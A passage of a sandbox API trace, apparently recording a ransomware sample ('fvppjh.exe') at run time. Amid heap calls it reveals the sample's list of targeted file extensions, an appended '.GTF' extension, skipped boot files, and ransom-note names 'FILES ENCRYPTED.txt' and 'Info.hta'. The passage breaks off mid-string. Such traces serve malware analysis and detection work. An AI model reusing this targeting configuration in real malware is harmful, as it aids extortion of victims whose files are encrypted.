	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788fc8
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788fe0
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x763470
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789070
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789520
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789400
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7894c0
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789388
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789418
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789370
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789538
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789490
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xe) returned 0x7894d8
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7893e8
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xe) returned 0x789430
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789550
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789298
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789448
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789508
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789268
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x7892c8
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789460
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7894a8
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7894f0
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789478
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7892b0
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789280
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7892e0
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7893d0
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7892f8
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789310
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789358
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7893b8
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789328
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789340
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7893a0
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789568
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7895e0
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x789580
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x12) returned 0x7352f0
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789640
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789598
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789628
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7896d0
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7895c8
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7896e8
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7896b8
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789658
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7895b0
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789718
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7895f8
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789688
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789610
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789670
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7896a0
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789700
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789c38
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789b18
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789ce0
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789d28
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x789c50
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x789b90
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x789cc8
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xe) returned 0x789c08
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x789ba8
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x763480
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789ab8
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x7634e0
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789bc0
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789cf8
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789ad0
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x789bd8
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x789c20
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789c68
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x789c80
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789d10
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789d58
	[0057.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x789b48
	[0057.046] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789bf0
	[0057.046] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x789c98
	[0057.046] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x789b30
	[0057.046] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789cb0
	[0057.046] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x763420
	[0057.046] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789aa0
	[0057.046] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789d40
	[0057.046] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765fd0, Size=0x800) returned 0x789f48
	[0057.046] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0057.046] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x777720 | out: hHeap=0x720000) returned 1
	[0057.046] lstrlenW (lpString="") returned 0
	[0057.046] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x78aae0 | out: hHeap=0x720000) returned 1
	[0057.046] lstrlenW (lpString=".GTF") returned 4
	[0057.046] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763450, Size=0x8) returned 0x7632e0
	[0057.046] lstrlenW (lpString=".GTF") returned 4
	[0057.046] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x78aba0 | out: hHeap=0x720000) returned 1
	[0057.046] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x78ab58, Size=0x20) returned 0x75ee30
	[0057.046] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75ee30, Size=0x40) returned 0x73a348
	[0057.046] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a348, Size=0x80) returned 0x764490
	[0057.046] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763450, Size=0x8) returned 0x763310
	[0057.046] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763310, Size=0x10) returned 0x78ac78
	[0057.046] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x78ac78, Size=0x20) returned 0x75ef20
	[0057.046] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0057.046] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x764490 | out: hHeap=0x720000) returned 1
	[0057.046] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x78aaf8, Size=0x20) returned 0x75ee80
	[0057.047] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75ee80, Size=0x40) returned 0x73a4f8
	[0057.047] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0057.047] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0057.047] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x73a4f8 | out: hHeap=0x720000) returned 1
	[0057.047] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x78acc0, Size=0x20) returned 0x75edb8
	[0057.047] lstrlenW (lpString="Info.hta") returned 8
	[0057.047] lstrlenW (lpString="Info.hta") returned 8
	[0057.047] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75edb8 | out: hHeap=0x720000) returned 1
	[0057.047] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x78af58, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\fvppjh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\fvppjh.exe")) returned 0x22
	[0057.047] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x78af58 | out: hHeap=0x720000) returned 1
	[0057.048] lstrlenW (lpString="fvppjh.exe") returned 10
	[0057.048] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75ef20, Size=0x40) returned 0x73a078
	[0057.048] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x78ab28, Size=0x20) returned 0x75ee80
	[0057.048] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x78ac60, Size=0x20) returned 0x75eea8
	[0057.048] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75eea8, Size=0x40) returned 0x73a420
	[0057.048] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a420, Size=0x80) returned 0x764af0
	[0057.049] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x764af0, Size=0x100) returned 0x765fd0
	[0057.049] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0057.049] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x765fd0 | out: hHeap=0x720000) returned 1
	[0057.049] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x78af58, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0057.049] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x79af60 | out: hHeap=0x720000) returned 1
	[0057.049] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x78af58 | out: hHeap=0x720000) returned 1
	[0057.050] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763280, Size=0x8) returned 0x763310
	[0057.050] lstrlenW (lpString="%windir%;") returned 9
	[0057.050] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ee80 | out: hHeap=0x720000) returned 1
	[0057.050] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0057.050] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x778728 | out: hHeap=0x720000) returned 1
	[0057.050] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x78acc0, Size=0x20) returned 0x75eea8
	[0057.050] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75eea8, Size=0x40) returned 0x73a5d0
	[0057.050] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a5d0, Size=0x80) returned 0x764408
	[0057.050] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x764408, Size=0x100) returned 0x765fd0
	[0057.050] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763240, Size=0x8) returned 0x763210
	[0057.050] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763210, Size=0x10) returned 0x78ad20
	[0057.050] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x78ad20, Size=0x20) returned 0x75ee80
	[0057.050] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763270, Size=0x8) returned 0x763350
	[0057.050] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763280, Size=0x8) returned 0x763340
	[0057.050] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7632d0, Size=0x8) returned 0x763190
	[0057.050] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763190, Size=0x10) returned 0x78aaf8
	[0057.050] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x78aaf8, Size=0x20) returned 0x75eea8
	[0057.050] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763350, Size=0x10) returned 0x78acd8
	[0057.050] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763340, Size=0x10) returned 0x78aba0
	[0057.051] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763370, Size=0x8) returned 0x763320
	[0057.051] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763350, Size=0x8) returned 0x763290
	[0057.051] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x78acd8, Size=0x20) returned 0x75ef20
	[0057.051] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x78aba0, Size=0x20) returned 0x75ecc8
	[0057.051] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763300, Size=0x8) returned 0x7632d0
	[0057.051] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0057.051] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x765fd0 | out: hHeap=0x720000) returned 1
	[0057.051] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x78aba0, Size=0x20) returned 0x75edb8
	[0057.051] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x777720, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0057.051] lstrlenW (lpString="C:\\") returned 3
	[0057.051] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0057.051] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x777720 | out: hHeap=0x720000) returned 1
	[0057.052] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763330, Size=0x82) returned 0x766060
	[0057.052] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763350, Size=0x100) returned 0x7660f0
	[0057.052] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x766060, Size=0x104) returned 0x766318
	[0057.052] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7660f0, Size=0x200) returned 0x777720
	[0057.052] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7661f8, Size=0x104) returned 0x766060
	[0057.052] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7640d8, Size=0x100) returned 0x766170
	[0057.053] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x763340 | out: hHeap=0x720000) returned 1
	[0057.053] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x777720 | out: hHeap=0x720000) returned 1
	[0057.053] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x78aea0 | out: hHeap=0x720000) returned 1
	[0057.053] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7649e0 | out: hHeap=0x720000) returned 1
	[0057.053] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x78adf8 | out: hHeap=0x720000) returned 1
	[0057.053] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x764ea8 | out: hHeap=0x720000) returned 1
	[0057.053] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x78ae10 | out: hHeap=0x720000) returned 1
	[0057.053] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x766318 | out: hHeap=0x720000) returned 1
	[0057.053] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x78ad98 | out: hHeap=0x720000) returned 1
	[0057.053] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x766060 | out: hHeap=0x720000) returned 1
	[0057.053] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x78ae58 | out: hHeap=0x720000) returned 1
	[0057.053] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x766288 | out: hHeap=0x720000) returned 1
	[0057.053] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x78af18 | out: hHeap=0x720000) returned 1
	[0057.053] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x78ae88, Size=0x20) returned 0x75eed0
	[0057.053] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75eed0, Size=0x40) returned 0x73a0c0
	[0057.053] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x763300 | out: hHeap=0x720000) returned 1
	[0057.054] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x78aba0 | out: hHeap=0x720000) returned 1
	[0057.054] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x765fd0 | out: hHeap=0x720000) returned 1
	[0057.054] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x78ae40 | out: hHeap=0x720000) returned 1
	[0057.054] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x766170 | out: hHeap=0x720000) returned 1
	[0057.054] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x78ade0 | out: hHeap=0x720000) returned 1
	[0057.054] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x763180 | out: hHeap=0x720000) returned 1
	[0057.054] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x78ae28 | out: hHeap=0x720000) returned 1
	[0057.054] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x736198 | out: hHeap=0x720000) returned 1
	[0057.054] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7351f0 | out: hHeap=0x720000) returned 1
	[0057.054] lstrlenW (lpString="%systemdrive%") returned 13
	[0057.054] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75edb8 | out: hHeap=0x720000) returned 1
	[0057.054] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x764a68 | out: hHeap=0x720000) returned 1
	[0057.054] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x763270 | out: hHeap=0x720000) returned 1
	[0057.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x767700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260
	[0057.055] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x78ade0, Size=0x20) returned 0x75ecf0
	[0057.055] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75ecf0, Size=0x40) returned 0x73a108
	[0057.055] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a108, Size=0x80) returned 0x764958
	[0057.055] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x764958, Size=0x100) returned 0x765fd0
	[0057.055] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765fd0, Size=0x200) returned 0x765fd0
	[0057.055] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765fd0, Size=0x400) returned 0x765fd0
	[0057.055] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765fd0, Size=0x800) returned 0x779728
	[0057.055] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x779728, Size=0x1000) returned 0x779728
	[0057.055] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763300, Size=0x8) returned 0x763200
	[0057.055] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763200, Size=0x10) returned 0x78aee8
	[0057.055] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x78aee8, Size=0x20) returned 0x75eed0
	[0057.055] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75eed0, Size=0x40) returned 0x73a348
	[0057.055] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a348, Size=0x80) returned 0x7640d8
	[0057.055] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7640d8, Size=0x100) returned 0x765fd0
	[0057.055] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765fd0, Size=0x200) returned 0x765fd0
	[0057.056] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765fd0, Size=0x400) returned 0x765fd0
	[0057.056] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765fd0, Size=0x800) returned 0x7ad398
	[0057.056] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;